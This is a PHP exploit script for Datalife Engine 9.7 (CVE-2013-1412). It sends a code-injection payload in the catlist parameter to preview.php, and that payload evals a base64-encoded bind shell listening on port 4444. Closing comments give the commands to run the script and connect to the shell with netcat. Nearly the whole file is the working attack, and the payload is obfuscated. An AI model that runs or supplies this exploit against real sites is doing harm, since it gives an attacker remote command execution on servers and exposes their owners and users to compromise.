<?php
// Exploit Title: Datalife Engine 9.7 Bindshell Exploit
// Date: 13/12/2015
// Exploit Author: ssbostan
// Vendor Homepage: http://dleviet.com/
// Version: == 9.7
// Tested on: Datalife Engine 9.7
// CVE: http://www.cvedetails.com/cve/CVE-2013-1412/
$target="http://localhost/dle97/engine/preview.php";
$shellcode="ICAgIAogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICR2WXFXPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogICAgICBpZighZW1wdHkoJHZZcVcpKXsKICAgICAgICAkdllxVz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICR2WXFXKTsKICAgICAgICAkdllxVz1leHBsb2RlKCcsJywgJHZZcVcpOwogICAgICAgICR2WXFXPWFycmF5X21hcCgndHJpbScsICR2WXFXKTsKICAgICAgfWVsc2V7CiAgICAgICAgJHZZcVc9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRwb3J0PTQ0NDQ7CgogICAgJHNjbD0nc29ja2V0X2NyZWF0ZV9saXN0ZW4nOwogICAgaWYoaXNfY2FsbGFibGUoJHNjbCkmJiFpbl9hcnJheSgkc2NsLCR2WXFXKSl7CiAgICAgICRzb2NrPUAkc2NsKCRwb3J0KTsKICAgIH1lbHNlewogICAgICAkc29jaz1Ac29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApOwogICAgICAkcmV0PUBzb2NrZXRfYmluZCgkc29jaywwLCRwb3J0KTsKICAgICAgJHJldD1Ac29ja2V0X2xpc3Rlbigkc29jayw1KTsKICAgIH0KICAgICRtc2dzb2NrPUBzb2NrZXRfYWNjZXB0KCRzb2NrKTsKICAgIEBzb2NrZXRfY2xvc2UoJHNvY2spOwoKICAg.IHdoaWxlKEZBTFNFIT09QHNvY2tldF9zZ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oJGMsYXJyYXkoYXJyYXkocGlwZSwncicpLGFycmF5KHBpcGUsJ3cnKSxhcnJheShwaXBlLCd3JykpLCRwaXBlcyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKXsKICAgICAgICAgICRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAgICAgfQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOwogICAgICB9ZWxzZQogICAgICBpZigkeVJyUignZXhlYycpYW5kISRIRFJEKCdleGVjJywkdllxVykpewogICAgICAgICRvPWFycmF5KCk7CiAgICAgICAgZXhlYygkYywkbyk7CiAgICAgICAgJG89am9pbihjaHIoMTApLCRvKS5jaHIoMTApOwogICAgICB9ZWxzZQogICAgICBpZigkeVJyUigncGFzc3RocnUnKWFuZCEkSERSRCgncGFzc3RocnUnLCR2WXFXKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwYXNzdGhydSgkYyk7CiAgICAgICAgJG89b2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgIH1.lbHNlCiAgICAgIGlmKCR5UnJSKCdwb3BlbicpYW5kISRIRFJEKCdwb3BlbicsJHZZcVcpKXsKICAgICAgICAkZnA9cG9wZW4oJGMsJ3InKTsKICAgICAgICAkbz1OVUxMOwogICAgICAgIGlmKGlzX3Jlc291cmNlKCRmcCkpewogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSl7CiAgICAgICAgICAgICRvLj1mcmVhZCgkZnAsMTAyNCk7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBwY2xvc2UoJGZwKTsKICAgICAgfWVsc2UKICAgICAgewogICAgICAgICRvPTA7CiAgICAgIH0KICAgIAogICAgICB9CiAgICAgIEBzb2NrZXRfd3JpdGUoJG1zZ3NvY2ssJG8sc3RybGVuKCRvKSk7CiAgICB9CiAgICBAc29ja2V0X2Nsb3NlKCRtc2dzb2NrKTsK";
$ch=curl_init();
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "catlist[0]=99999')||eval(base64_decode(\"$shellcode\"));//");
curl_setopt($ch, CURLOPT_URL, $target);
curl_exec($ch);
curl_close($ch);
// php dle-97-preview-bindshell.php
// nc localhost 4444
?>